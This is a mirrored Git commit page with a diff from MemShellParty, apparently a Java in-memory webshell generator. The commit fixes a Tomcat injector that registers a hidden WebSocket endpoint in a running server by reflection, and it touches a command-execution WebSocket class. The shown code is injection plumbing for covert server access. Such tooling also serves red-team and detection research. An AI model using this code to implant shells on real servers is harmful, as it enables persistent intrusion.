archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: tomcat WebSocket shell not work (#25)

Browse Source
This commit is contained in:
ReaJason
2025-02-25 00:11:16 +08:00
parent a148fa1cb9
commit 479b2a0c16
5 changed files with 82 additions and 20 deletions
Download Patch File Download Diff File Expand all files Collapse all files
memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
+3 -1
View File
@@ -87,7 +87,7 @@ public class TomcatWebSocketInjector {
@SuppressWarnings("unchecked")
private void inject(Object context, Object obj) throws Exception {
private void inject(Object obj, Object context) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
@@ -103,9 +103,11 @@ public class TomcatWebSocketInjector {
Map<String, Object> o = (Map<String, Object>) getFieldValue(container, "configExactMatchMap");
if (o.containsKey(getUrlPattern())) {
System.out.println("websocket at " + getUrlPattern() + " already exists");
return;
}
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
System.out.println("websocket at " + getUrlPattern() + " inject successfully");
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
-1
View File
@@ -14,7 +14,6 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public static String paramName;
private Session session;
@Override